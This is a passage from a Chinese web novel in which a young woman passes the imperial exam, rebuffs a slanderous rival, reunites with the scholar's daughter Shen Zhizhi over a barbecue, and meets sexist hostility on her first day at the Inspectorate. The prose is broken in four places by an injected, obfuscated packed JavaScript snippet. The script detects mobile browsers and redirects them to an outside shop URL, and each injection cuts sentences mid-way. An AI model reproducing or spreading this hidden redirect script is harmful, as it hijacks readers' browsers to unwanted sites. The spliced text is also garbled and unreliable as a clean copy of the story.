那人哎呦一声，抬起头来，是几日未见的刘义秉。 对于此人，金桐总是有意避开，自驿馆那一面之后再没遇见过。 刘义秉看清撞上的人是谁，丧着脸，失意道：“金桐小姐，我……我落榜了。” 这事早在金桐意料之中，她中榜心情正好，连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868516|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤兑刘义秉的心都没有了，只道：“那真是太遗憾了。” 那语气却听不出丝毫遗憾。 刘义秉显然已经知道了她中榜的事，别扭地恭喜她。 金桐却没再理他，而是错身和苏礼明往马车那边走。 刘义秉一个箭步追上来，问道：“金桐小姐要去何处，在下可相送一程。” 他这样纠缠，金桐的好心情登时消下去一大截，脸色很不好看：“不消好心，刘公子还是顾好自己吧。” 只是寻常的一句话，刘义秉对此好大反应：“你不要瞧不起人！” 金桐虽不明白他又在发什么疯，却也没反驳，因为她确实瞧不起他。 刘义秉愤怒地喘着粗气，眼睛也因愤怒而泛红，仿佛受了什么奇耻大辱。 金桐看着他，就像在看路边一只胡乱吠人的犬。 “你待如何呢？” 刘义秉不顾读书人的风度，像无赖一样往地上吐了一口唾沫，“你有什么好得意的？你的二甲是如何中的还不好说呢？” 他上下打量金桐，发出一声不屑的笑，“有的人看起来是金尊玉贵的小姐，背地里早就让人睡烂了！” “你说什么？” 金桐几时听过这等污言秽语，一时头脑发懵，反应过来手已经下意识去扇他巴掌。 刘义秉早有准备，一个大撤步，堪堪避开了。 他重心不稳，却仍叫嚣着：“怎么？我说错了？你一个女人考中二甲，没人给你开后门谁信啊？” 他话音刚落，便见宽大的袖子劈头盖脸地袭来，他躲过的那一巴掌，苏礼明替金桐打了。 苏礼明的巴掌不可与金桐的一概而论，直接打得刘义秉原地转了个圈，被不知从哪个角落冲出来的李艾宁抱住。 刘义秉偏着脸吐出一口血沫子，里面裹着一颗牙。 李艾宁尖叫：“义秉哥哥，你的牙！” 刘义秉粗暴地推开他，晃晃悠悠地站稳，恶意的目光在金桐与苏礼明之间逡巡。 他上了头，即便对苏礼明畏惧，也豁出去了：“我说错了吗？我知道你是谁，国公府的大公子。怪不得她好好的生意不做，非来西京凑热闹参加什么科举，原来是搭上你这个姘夫了！” 金桐明白了，刘义秉自己落榜不服气，出于某种心理，不愿接受自己比他强的事实，于是以这种脏污的想法来污蔑他。 苏礼明的眸光寒如刀刃，让刘义秉本能地害怕。 “如果你学不会闭嘴，我不介意亲手让你闭嘴。” 李艾宁一惊，不顾一切地挡在刘义秉身前，不让苏礼明看他。 金桐也察觉到了苏礼明周身凌厉的气压，从李艾宁竟然也在西京这件事中回过神来。 再看李艾宁为了刘义秉不顾一切的样子，她有些头疼。 最后念着和李郎中的一点儿交情，金桐选择息事宁人，不与她为难。 她压低了声音对刘义秉道：“我二甲的成绩问心无愧，轮不到你个废物评判，不想再挨巴掌就滚！” 刘义秉嗫嚅着说不出话，并非因为她的恐吓，而是恐于她身后苏礼明的威慑。 他虚张声势，声音发抖：“赤脚的不怕穿鞋的，你会秽乱考场，他徇私舞弊，走着瞧！” “义秉哥哥，求你别说了。”李艾宁捧着他的脸，满眼心疼，连拉带拽地把刘义秉带离了。 19. 故知 回到马车，苏景明见兄长脸色不好看，便选择了好性儿的金桐，凑她旁边问：“姐姐没考上？” 问完他又反应过来，“也不对，姐姐没考上，怎么会是兄长苦大仇深？” 金桐推开他，好气又好笑：“二甲。” 苏景明欢呼一声：“不愧是姐姐，真厉害，我就知道姐姐一定可以。” “兄长不为姐姐高兴吗？”苏景明逮着机会就要搞事情。 “你不要烦他。”金桐唤回苏景明，“他被人污蔑清白，正郁闷呢。” “姐姐细说。”苏景明就对这事感兴趣。 见苏礼明没反对，金桐便将刚才发生的事情给他讲了一遍。 “不对。”苏景明伸出右手食指，左右摇摆。 金桐问道：“哪里不对？” 苏景明道：“兄长向来不在乎旁人的闲言碎语，我看啊，他才不是因为那人说自己郁闷的呢。” “那你觉得是为何呢？” 苏景明笑：“大概是因为那人说了姐姐吧，姐姐给自己出气，兄长便不会气了。” 金桐飞速看了一眼苏礼明，他不但没否认，反而因为苏景明的话神色有所缓和。 她的脸颊有些发热。 苏景明不嫌事大，好奇道：“姐姐，那人谁啊，你告诉我，我去教训他。” 金桐想了想，道：“算了。” 刘义秉虽然讨厌，但并未对她和她身边的人造成什么实质性伤害，他自己反而屡屡在她这里吃苦头。 金桐不是没想过报复他，那样深的仇和恨，她如何能轻易放下？ 可是所有的恶都是上一世的刘义秉做的，她无法做到把前尘算在这一世的刘义秉身上。 她心里有恨，却也有王法。她一直克制着不要做出无法挽回的事。 苏景明没了乐子，很是失望：“好吧，要是姐姐哪天改了主意，想要教训那人一顿，别忘了告诉我。” 金桐莞尔，“一定。” 不多一会儿，马车到了新院落，里面的侍女小厮匆匆忙碌着，都是苏景明就近从家里调来的。 苏景明找了个地方坐下，到了他的地盘，他只动口不动手，指挥着下人忙来忙去。 临近正午，金桐从酒楼叫了饭菜，所有人一起热热闹闹吃了个中饭。 起初，那些侍女小厮还不敢，畏惧地看着苏礼明与苏景明两兄弟。 安国公府等级森严，他们何事正点吃过饭，更别说是和主子们一起。 其中一个年级稍大些的侍女，较在场其他人更有资历，对金桐提醒道：“小姐，这不合规矩。” 她虽家境优渥，却并非出身官宦，在家没有许多规矩，和吴嬷青苗他们同食是常有的事。 金桐歪着头问苏礼明：“你可介意与他们同用午饭？” 苏礼明道：“自是不介意的。” 苏礼明在家是正儿八经的国公府公子，在外不过一隐姓埋名的俗人而已，对那些规矩体统不屑一顾。 苏景明却有些不愿，他从小最在意的就是自己的身份，和他兄长苏礼明的矛盾也不过因着这一重身份。 他道：“奴才和主子同桌而食，天底下哪有这样的事？” 此话一出，安国功夫的几个奴仆把头低了又低。 “桌子就这么大，便是想同桌，这么些人也坐不下。”金桐尝试着安抚他，“我们吃我们的，他们吃他们的，一大早人家就过来帮忙，要是连口饭都吃不上，我心里怎么过意得去？” 金桐和苏礼明都无异议，苏景明若非要坚持，反倒没趣，他含糊了道：“此处的主人是姐姐，姐姐说如何便如何吧。” 他答应得勉强，金桐却全然不在意，指着送来的饭菜，对安国公府家仆招招手，“人多我顾不上，左右两堆都是一样的，你们便去拿左边那堆，不必客气。” 金桐虽和气，他们却看着苏景明的脸色，不敢擅自挪动脚步。 最后还是苏礼明开了口：“去吧。” 几人作鸟兽散，虽得了主子的恩典，却自觉坐得远远的。 这边，金桐布好了菜，苏景明仍别过脸闹别扭。 她亲手将碗筷递给苏景明，道：“消消气，吃饭要紧。” 苏景明接过来，目光落在桌子上，酸道：“杏花楼的菜品，姐姐也真舍得。” “什么舍不舍得的。”金桐夹了一筷子鲈鱼到碗里，“钱花出去了才是钱，攥在手里不过是个数儿罢了。” 听她这么说，言语间似乎对黄白之物格外不看重，苏景明又想起当初金桐要租他的院落，开口就是二十两。 他好奇问道：“姐姐什么来头？” 金桐道：“来头谈不上，不过是家里做点小生意。” 苏景明似懂非懂地点点头，“实在看不出。” 金桐道：“好了，快吃饭，再不吃就凉了。” 饭后，正是一天当中最热的时候，他们歇息了一阵，直到太阳开始西落，才重新动起来。 大体上安国公府的人已经帮她收拾得差不多，她便让他们回去了，剩下的一些细小琐事自己亲自动手。 直到傍晚，诸事安顿下来。 金桐用帕子拭了拭湿润的发迹，余光瞥到敞开的大门前站似是站了一个人。 她转头去看，竟是一位意外来客——沈知之。 “苏小姐，又见面了。” 沈知之站在门前，笑得温婉。 金桐面上闪过惊喜之色，快步走到门前，拉着沈知之的手进来安坐。 苏景明听到动静，回头便见一位高挑纤细的美人，好奇地凑上来。 沈知之起色看着比初次见面好得多，远不如之前那么脆弱易折。她面容依旧雪白，却没有了病态，巧笑倩兮，仿若涅槃。 金桐与她虽仅有一面之缘，但在这西京，也算得上是他乡遇故知，胸中心绪澎湃。 四人围坐一桌，沈知之与他们讲了分别之后的事。 原来那日，镖行领头的黑皮汉子并未直接离去，沈知之回到溪边，他和队伍仍在那里。 他们彼此没有说话，黑皮汉子见她归来，便重整队伍出发，沈知之依旧默契地跟在后面。 有了金桐给的物资和饮水，接下来的旅程沈知之轻松很多。 她到西京找了客栈落脚，好好修养了几日，将之前亏空的身子补了回来。 “我感念苏小姐的恩情，来道西京便打探苏家的位置。”沈知之说道，“却未有任何消息。” “抱歉，当时的说辞不过是临时编纂的，其实我并不姓苏。”金桐不好意思地摸了摸鼻子，“我叫金桐，颍川人士。” “你也是颍川人？”沈知之惊喜道，“如此说来，我们是老乡。” “对了，恩人还不知道我姓名，我叫沈知之。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868517|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你是沈知之？”金桐震惊。 瘦高个，皮肤白，正是沈夫子对女儿的形容。 世界真是太小了，当时因为沈知之从他们对面的方向来，他们便疏忽了，没往沈夫子女儿的身上想。 沈知之疑惑道：“恩人认识我？” “不必叫什么恩人，尽管称呼我名字就好。”金桐道，“说来也巧，我们离开颍川的前几天，碰上你父亲在寻你。” 提到沈夫子，沈知之的面容沉了下来。 金桐察言观色，问道：“你既然安然无恙，要不要给家里报个平安？” 沈知之挤出一个笑容，道：“是我不孝，他们就当我死了吧。” 金桐有些尴尬，抿了抿嘴，换了话题：“你是如何找到我的？” 沈知之道：“我来西京，向许多人打听苏家兄妹，一无所获。有名望的苏姓人家，仅有一座安国公府，但安国公膝下仅有两个儿子，并无什么女儿，我便隐约明白那是恩人……是你们的假身份。” 苏景明道：“你算是歪打正着了。” “我一时没有头绪，却也没放弃寻找你们。西京说大不大，说小也小，我相信，只要你们回来西京，我们一定会再次相遇的。”沈知之笑，“没想到这一天来得如此快。” “黄榜之下，有人争执，我本来不爱凑热闹，今天不知怎的，却过去看了一眼。我顺着马车驶向的方向找过来，想着碰碰运气，竟真让我这么轻易找到了。” 金桐道：“还真是冥冥中自有定数。” “原来你是参考的考生，恭喜。” 沈知之在他们争吵之时，隐约听到了金童中了二甲，很为她高兴。 尽管沈知之尽力掩饰，金桐仍旧察觉到她祝贺下的异样情绪，是羡慕并着苦涩的。 “你今后有什么打算？”她问沈知之。 沈知之道：“我想找个书院……教书。” 苏景明诧异：“你？教书？女人？” 面对他的疑问，沈知之沉默地垂下了头。 金桐解释道：“知之的父亲是我们那的夫子，受沈夫子熏染，知之想要教书并不令我意外。” 苏景明半信半疑道：“女人怎么教男人？” 他一再口无遮拦，沈知之抬头，已是满脸厌恶：“如何教不得？四书五经是我自小听的，你们懂的我也懂，你们不懂的，我却未必不懂。” 苏景明不解她怎么这么大反应，她对着金桐和苏礼明客客气气的，自己不过说了两句话，她就这样呛回来，他也来了脾气：“懂不懂的，跟我也没关系，你先找到书院收你再说吧。” “你……” 沈知之还欲再辩，金桐却将她的话截断。 “景明，别这么说。”她皱着眉道，想说些责备的话，到底没有说出口，只是叹了一口气。 “抱歉，知之，你别把景明的话放在心上。” 沈知之道：“不会，他说的确实不无道理，至今也无书院愿意留下我。” “别着急，总会有机会的。” 时间已经不早，苏礼明提醒道：“你说晚上准备了惊喜，是什么？” “瞧我，忘到脑后去了。” 沈知之道：“你们有事，我便不多打扰，改日再来拜访。” 说着她起身就要告辞，金桐一把拽住她，笑容被夕阳染成橘红色调，“留下来和我们一起。” 20. 惊喜 金桐变戏法似的从角落里拖出来一个小炉子。 “劳烦两位国公府的公子去你们的后厨借点肉来。” “这是要烤肉？”苏景明道：“姐姐说给我们准备的惊喜，怎么反倒还让我们帮忙？” 苏礼明评价道：“多嘴。” “肉不是关键，关键在于烤肉的香料，等下你就知道。”金桐双手合十，拜托他们，“天气热，肉买来放一下午就臭了，出去买又麻烦，就只能靠你们了。” 苏景明道：“好吧，姐姐等我一会儿。” 苏景明离开后，苏礼明帮金桐把烤肉的炉子架好，沈知之站在旁边，有些无所适从。 “可有我能帮忙的？” 金桐双手被木炭蹭得黢黑，沈知之说要帮忙，她忙道一声太好了，“知之，麻烦你把那边的小马扎搬过来，要四个。” 沈知之搬过小马扎，金桐也没让她闲着，她展开自己黢黑的掌心，“我们手不干净，知之你再去沏一壶茶来，要用的东西都在桌上。” 这处宅子沈知之不熟悉，不知道烧水的地方在哪里，金桐也不熟悉，连懵带猜地指路，好一顿折腾之后，沈知之终于将沏好的茶端了上来。 恰好苏景明回来，身后跟着一溜人，头上裹着白麻布，一看便知是从后厨捉来当苦力的。 苏景明往旁边一座，不消开口，后面的人就自发熟练地把肉摆好，有序撤离。 金桐烧旺了炭火，几个人围着炉子做成一圈，金桐拿出一个小布袋子，开始烤肉。 苏景明倒是识货：“这是西域传来的香料吧，姐姐从何处得来的？” 金桐轻咳一声，故作高深，偏不告诉他。 自打在烤肉摊子吃过那一次后，她就始终掂记着这一口，只不过当时还没找好落脚的地方，便耽搁下来。 一定下宅院，她就去找老板买了调味料来，起初老板还不愿，称那香料虽是从西域待来的，调味却是他独门秘制的，不能外传。 金桐好说歹说，废了好些口舌，一再老板保证她只是自己吃，绝对不会抢他生意，又给了老板一笔重金，大概他摆摊半个月才能赚出来，才换来这些调味料。 并且此事还得瞒着苏礼明进行，把她折腾个够呛。 这些她可不会跟苏景明说，只对他赞道：“有眼光啊。” 她洗干净手，开始着手烤肉，虽然动作还不太熟练，烤肉翻转得不及时导致受热不是很均匀，卖相十分一般。 但秘制的调味料往上面一撒，扑鼻的香味便争先恐后地飘散而出。 苏景明一日三餐都有府内的专人包办，便是外食，去的也是杏花楼这样的大酒楼，对街边小吃几乎没接触过。 金桐这一手，哪是他见过的，顿时便将他俘获。 他咽下一口口水，道：“姐姐的烤肉真是一绝。” 金桐留意到他咽口水的小动作，偷笑了下，毫不谦虚道：“这个惊喜如何？可还满意？” 苏景明忙不迭点头：“当真惊喜极了。” 第一串烤肉好了，金桐拿起来，苏景明连忙伸手，金桐将尖端对着自己递给他，叮嘱他：“别急，小心烫。” 沈知之坐在小马扎上，报着双腿，看着他们一言一语地嬉笑，流露出羡慕的神色，嘴角不自觉地上挑。 接着一串焦香的烤肉便递到了她眼前。 她愣住，金桐便将烤肉又递了递，“知之，替我尝下味道如何。” 金桐朝沈知之伸过来的那只手与她记忆中初见的那次重合，沈知之呆呆接过烤肉，轻轻咬下一块。 “很好吃。” “那就好。”金桐笑得心满意足。 苏景明飞速吃完了一串，又追着金桐要，金桐道：“等等等等，你吃慢些。” 她手忙脚乱将烤好的第三串递给苏礼明，苏礼明却摇摇头，拿过一旁的工具。 “你先吃，我来帮忙。” 金桐想要拒绝，苏礼明却不给她机会，已经像模像样地动作起来。 “好吧。”金桐无奈道，“等下再换我。” 苏景明烤起肉来比金桐熟练得多，让金桐怀疑他是不是背着自己去找摊主偷偷进修过。 毕竟她也做过偷偷求人家买调味料这种事。 她这一问，苏景明笑得前仰后合：“姐姐，你到底在想些什么啊？” 他从苏景明烤好的肉串中抢过一串，有些酸溜溜道：“兄长从来都是这样的，学什么都比别人更快些。” “既多不压身，哪天出去自己门户，总不至于饿死。”苏礼明心情貌似不错，难得开起了玩笑。 他这话哄得苏景明喜笑颜开，只要兄长不和他争父亲的位子，那便是好兄长。 兄友弟便恭，他从苏礼明手里抢过工具，道：“兄长忙了半天，歇一歇，换我来。” 苏礼明看着他笨拙的动作，偶尔指点两句，苏景明很快就找到诀窍。 金桐不禁感慨：“不愧是亲兄弟，一样的聪慧过人。” 苏景明得到夸奖，立刻乐呵呵递肉给金桐：“姐姐先吃。” 几人吃上了头，茶水已经无法满足，便盯上了苏景明带来的酒。 苏景明也算心思细腻，那酒上果酒，不烈，沁了丝冰凉的甘甜，正好适合金桐和沈知之这种不常饮酒的人喝。 一杯接一杯下了肚，金桐知道自己量在哪里，并未太过放肆，苏礼明亦是小酌，苏景明喝了不少，一口酒一口肉，尚没有醉态。 与苏景明一样饮酒最多的是沈知之，果酒虽然甘甜，到底占了个酒字。 沈知之第一杯便被辣得皱起了眉，一看便是喝不惯的，之后却一杯接一杯灌了下去。 金桐才想也许她心中烦闷，便没阻止，只是时不时将肉塞到她手里。 “多吃一些，肚子里没东西，小心过后难受。” 月上柳梢，炭火燃尽，几人也吃不动了，沈知之更是醉得直打晃，不过面上却看不出什么，只是雪白的脸更白了些。 她醉成这样，金桐实在不放心她独自回去，建议道：“不介意的话，今晚就在我这住下吧。” 沈知之知道自己行动困难，不与自己为难，道：“那便叨扰了。” 苏景明顺势道：“不如我和兄长今夜也不走了，反正还剩两间屋子，正好我们一人一间。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868518|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡闹。”金桐还没说什么，苏礼明先斥他。 金桐对此浑然不在意，自从离家，历经许多，她对男女大防的边界感日渐削弱了。 若旁人总因她是女子而逼着她，她也总因自己是女子而避着别人，在外恐怕寸步难行。 可是她不在意，却不能不考虑沈知之。 “就是出了门就到家，你们还是回去吧。” 苏景明知道她这是在推辞了，转而责怪苏礼明：“兄长在驿馆和姐姐隔墙而眠，怎么不说自己胡闹。” 苏礼明道：“那不一样。” 苏景明问：“哪里不一样？” 眼看着沈知之站着眼睛都快要闭上，金桐往外赶人：“时候不早了，快些回去吧，有什么事情容后再辩。” 院子终于清净，金桐把沈知之领到西厢房。 她醉得不轻，金桐也不确定她还能不能听得进去话。 “榻上的枕头被子都是景明新置办的，还没人用过。” 金桐扶着她到床边坐下，见到沈知之点头，金桐又将提前泡好的陈皮茶倒了一杯，在虎口感受了一下温度，确定不烫了，送到沈知之唇边，哄着她喝。 沈知之偏头多了一下，似乎清醒了些，拿过杯子，局促道：“我自己来。” “好。”金桐不打扰她休息，“你困了就躺下，半夜如果感觉渴就起来倒茶喝，难受就去隔壁叫我。” 沈知之只是看着清醒，其实脑子还混沌着，她看着金桐的嘴唇在她眼前一张一合，突然问道：“你对谁都这样好吗？” “也不是吧。”金桐想了想，道，“那些对我很坏的人，我对他们也很坏。” 她指的是刘义秉之辈，但沈知之并不能意会。 金桐的话从她左耳朵进去，又从右耳朵出来，她没头没脑地又问了一句：“你的爹娘是不是对你很好？” 金铜在她身边坐下，回忆道：“也许吧。我没见过我娘，她生下之后便撒手去了。我爹陪了我几年也去找我娘了，那时我年纪太小，现在已经他长什么样子。如果他们还在的话，应当会对我很好吧。” 沈知之的脑袋不能接收这么多信息，她垂着眸思索片刻，懵懂地问道：“他们去了哪里？什么时候回来？” 金桐知道她这是还醉着，自己说也说不清，便拍拍她的肩膀，道：“早些睡。” 吹熄了灯，回到院子里，只见院中一片狼藉，金桐虽然也乏得厉害，却实在无法容忍这些东西就这么明晃晃地堆到次日清晨。 她长叹一声，认命地收拾起来。 不知时间过了多久，金桐睁开眼。 她活干了一半，想休息一下，竟然就坐在石凳上拄着下巴睡着了。 她一动，肩上披着的东西就滑落下来。借着月光，她拿在手里凑近辨认了一下，好像是沈知之的外衣。 看来沈知之已经清醒了。 金桐侧头看见旁边烤肉的残局已被收拾得干净，抿着嘴笑了。 她轻手轻脚的回了屋子，将沈知之的外衣收好，头一沾枕头就陷入了沉睡。 在入睡的最后时刻，她朦朦胧胧地想，好像一切都在越变越好。 21. 入仕 鸡鸣三声，金桐一身素青官服，站在一间三进的院子前。 眼前是绿顶红墙，院子门口左右两边各两棵槐树，枝繁叶茂，已有年头。 朱红色的大门正上方挂了一块宝蓝色牌匾，金墨正楷写着“监察院”三个字。 这是她全新的人生。 金桐深吸一口气，轻推开门，踏在监察院内的青石砖上。 她终于走到了这里。 院内已经有了些人，二甲以上的考生今日都将聚集于此。 金桐身处其中，即使身着统一官服，也显得像个异类。 比如她不同于男子的发式，她身上小了几圈的官服，以及官服也遮掩不住的女子曲线。 有些人的目光在她身上稍作停留，但也只是停留而已。 对于她的到来，大多数人并不怎么好奇，早在驿馆中他们已经见她很多次了，便是没有驿馆中见过她，在考试当日也该对她有所印象。 因此他们对她，没有表现出异常的兴趣。 甚至可以说有些冷淡。 偶尔会有几道目光从金桐身上划过，最后投向同类，他们只与同类交谈。 金桐作为异类，不仅是外在上，更在体验上。 旁人都三三两两聚在一处，她的身边布满一簇簇的人群，衬得她仿若一座孤城。 他们所有人都在避免与她有所交流。 他们接受她出现在考场，却不接受她出现在这里。 邱监察的警示犹在耳侧，对于当下的处境，金桐心中早就有了准备。 他们的孤立影响不了她分毫。不必与人虚与委蛇，她还乐得自在，一个人东瞧瞧西看看，一边熟悉监察院布局一边打发时间。 卯时一到，侍读准时出现。 他先是清点了人数，在确定人到齐后，他令众人按照他的话排好队。 一甲三人站在前排，从左至右依次为状元、榜眼、探花，二甲则在这三人身后做蛇形排列。 金桐作为第四十名，孤零零站在队伍的最后面，她身量较身前之人矮了许多，几乎被当了个严严实实。 待他们拍好后，侍读又重新清点了一次人数，不知是不是金桐的错觉，她觉得侍读的眼神在她身上停留的时间照别人长了些许。 点完人数，侍读回到队伍正上方，问第一排的三人道：“翁修明，盖容，高易？” 三人拱手道：“正是。” “你们三个随我来，其余人等在此等候。” 众人初来乍到，唯侍读命是从，齐声应是。 日光将影子照得愈发细长，时候已经不早，一甲三人仍未回来。 二甲众人虽然等得心焦，但因没得到侍读的允准，也不敢擅自行动。 金桐躲在大个子同僚身后，偷偷抹了把汗，双脚酸痛。 她这时才后悔平日缺少锻炼，体力不比男子，暗自下了决心回去之后要想些办法提升体力。 日头渐高，晒得她头脑发晕，身体也开始无意识打摆。 在她几乎撑到极限的时候，又一位侍读出现了。 监察院一共两位侍读，今日他们算是全见过了。 金桐从大个子同僚身后探出头，正瞧见熟人。 这位侍读就是考试那日引她去见邱监察的人。 看见熟悉的面孔，金桐因长久站立的不适感减轻许多。 侍读显然发现了金桐的小动作，暗中给她使了个眼色，金桐立刻缩回到队列里。 侍读道：“诸位久等，请随我来。” 他对这近乎一个时辰的“罚立”没有任何解释，随口一句就轻飘飘带过了，众人心中虽有怨气，却不敢吭一声。 他们走的方向与一甲不同。 监察院分司禾署、鉴谷署、舆田署、农政署四处，方才一甲三人进去的是农政署，他们来到的则是舆田署。 署内共五位学士，三位埋头于桌案，两位蓄着长须的长者正旁若无人地争辩。 侍读轻咳了声，算是提醒他们，他们意犹未尽地停下来，鼻中发出轻哼，谁也不服谁。 侍读道：“人带到了。” “来了啊。” 面对他们，这其中一位学士一改凶相，笑得万分慈祥。 而另一位……不知是不是错觉，金桐觉得他好像面色不善地看了自己一眼。 侍读介绍了五位学士，众人以后可以以姓称呼他们，方才争执的二位资历在其余三人之上，一位姓张，一位姓周。 张学士笑眯眯道：“以后大家就是同僚了，都别客气，坐，坐。” 他们四十人，分别坐在奇长的红木桌案两侧，张学士指着桌案上堆成山的公文，笑得见牙不见眼，“今后三个月，你们只需在此处理公文，咱们检察院负责的是民生的大事，没那么多规矩，但也容不下任何偷闲躲静的人。你们四十人当中最后能留下的仅有三人，若有人想要退出，现在便可离开。” 说到这里，他的神色肃然一凌，鹰隼般锐利的目光扫视全场，似要看透每一个人。 众人被这忽然的变脸震慑住，无一人走。 张学士很满意他们的反应，“诸位同僚，请吧。” 他右手掌心向上，指向桌上狼藉，众人不敢懈怠，都就近抽出一本公文，埋头看起来。 署内静悄悄的，只有不停翻合公文的声音。 金桐手边摞了两三本已经处理完的，又拿了一本新的看，里面记录的是顺河水患之事。 西京地处北面，往年雨水不算多，今年收成尚且受到影响，顺河水患到了什么地步自然不必说。 修建堤坝、挖渠引水那是工部的事，与他们无关，他们只管百姓能否吃饱饭。 正如公文中所写，洪灾过后，所为不过亡羊补牢，稻田已经冲毁，顺河存粮有限，百姓叫苦不迭，粮价水涨船高。 朝廷拨了四次赈灾粮草，均效果甚微，阻止不了难民的北移。 京中已经出现了从顺河逃难过来的人，长此以往将引起祸患。 金桐朱笔轻动，在赈灾粮处标注下一处疑问。 她正思索，对面两位学士又有争起来的苗头，他们的只言片语不经意流进金桐耳朵里。 张学士道：“民间有童谣，顺河老鼠大如斗，见人开仓亦不走，赈灾粮一车一车运过去，百姓还没见到，半数以上先进了老鼠肚里，你说该如何？” 周学士冷哼一声，道：“此鼠非鼠，狸奴去了也掉层皮，我又能如何？要不你去？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868519|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位学士气得胡子翘，连叹三声，对此不再谈及，研究岭南的收成。 岭南在顺河上游，未受水患影响，但每年存量都不多，仅够当地百姓自给自足，对于顺河的颓景爱莫能助。 岭南较顺河处北，较西京却处南，属于南北交界之处。 “岭南每年只能种一茬，因而收成不尽人意，若种两茬，等不到第二茬收获就开始入冬……”金桐用笔杆戳着下巴，略作思索，“种一茬而两收，或许可以解决粮食短缺的问题。” 张学士闻声转头，打量了她一下，道：“细说。” 金桐道：“我曾在古籍上看到，在稻子初熟时，用镰刀割去顶端三分之二，此为一收，之后两个月，余下的三分之一重新抽条成熟，此时再则为二收。这种方法所需时间短，虽然两次收获的粮食数量单论起来都比不过正常的种植方法，但若加在一起，总量就十分可观了。” “你说的这个法子我也知晓，只是未经实践，结果如何还不好说。别说地方了，西京的粮仓也算不上富裕，何处能舍出那么大一片田来试呢？若结果未出，百姓跟风效仿，只会弄巧成拙引起粮灾。” 金桐道：“学士放心，这个法子学生已经验证过了。” 周学士闻言，将手中的公文一摔，骤然抬头，“你个小丫头，这种事情也敢夸口？” “呵。”他冷笑看着金桐，却意有所指，“有些女子仗着自己看过些书就爱出风头，不本本分分呆在家里，非来掺和男子的事。” 他一点情面也不留，甚至是有意针对。 金桐也被这突如其来的训斥砸得头脑发懵，感觉到周遭幸灾乐祸的目光聚集在她身上，她不明白自己说的话怎能惹出这般怒火。 金桐不卑不亢道：“学士所言，学生不懂。” “哼，无知妇人。” “哎哎哎，说什么呢，都是同僚，你说什么呢？”张学士拉住周学士，帮他打圆场，“小丫头，你别跟他一般见识，他就这驴脾气，跟谁都这样。” 金桐初来乍到，本着多一事不如少一事的原则，不想和周学士硬碰，但对方一再欺辱，她也来了脾气。 正欲开口驳斥，便瞧见张雪是冲着他挤眉弄眼，食指竖在嘴前比着“嘘”。 金桐忧怨地将话吞了回去，有张学士这只老狐狸左右和稀泥，她真是发做不得，只能咬牙忍了。 她愿意息事宁人，显然周学士没打算放过她，他猛地抽出衣袖，用力一甩，不顾张学士的劝阻，指着金桐大骂：“我告诉你，你能坐在此处与我共事是监察大人开恩，我劝你安分些，收起没用的心思。” 此言一出，引起轩然大波，多少人发出不屑地哧声，还有嘘声和不怀好意的笑。 金桐怔愣在位子上，满腔的委屈和屈辱再也压不住，她“噌”地站起，身后却传出一道声音。 “本监察似乎听到有人在唤我。” 邱监察出现得这样巧，不知在门口听了多久。 众人起身参拜，邱监察随意地摆摆手，让他们不必多礼。 周学士却未因她的话坐下，任张学士拽也拽不动丝毫。 他隔着长桌与邱监察无声对峙，在场众人屏住呼吸，时间仿佛在此时静止。 22. 暗潮 最终还是邱监察率先破冰。 “周学士似乎对我的决策有异议？”她问道。 “不敢。” 周学士吐出冷硬的两个字，虽然嘴上说着不敢，态度却是极度的不服气。 不过邱监察并不在意，她才不管他如何想，她只要嘴巴上的服从。 “如此便好，请周学士落座。” 周学士只当没听见，背脊挺如松柏，摆明了要与邱监察为难。 邱监察不按套路出牌，道：“周学士不愿坐，想必是椅子不舒服，来人帮周学士把椅子撤了。” 周学士生就一副冷面，他横眉冷视，一时间无人敢动。 “孙义，田浦泽，你们两个去。” 被点到的是二甲的两位考生，听到自己的名字分别身形一抖。 方才他们还能装死，现在不得不动了。 相比于脾气暴躁的周学士，气定神闲的邱监察反而更让人无法忤逆。 他们认命地起身，互相对视一眼，脚步沉重地走向周学士。 邱监察的视线扫过众人，那目光轻如羽毛，所到之处却埋头一片。 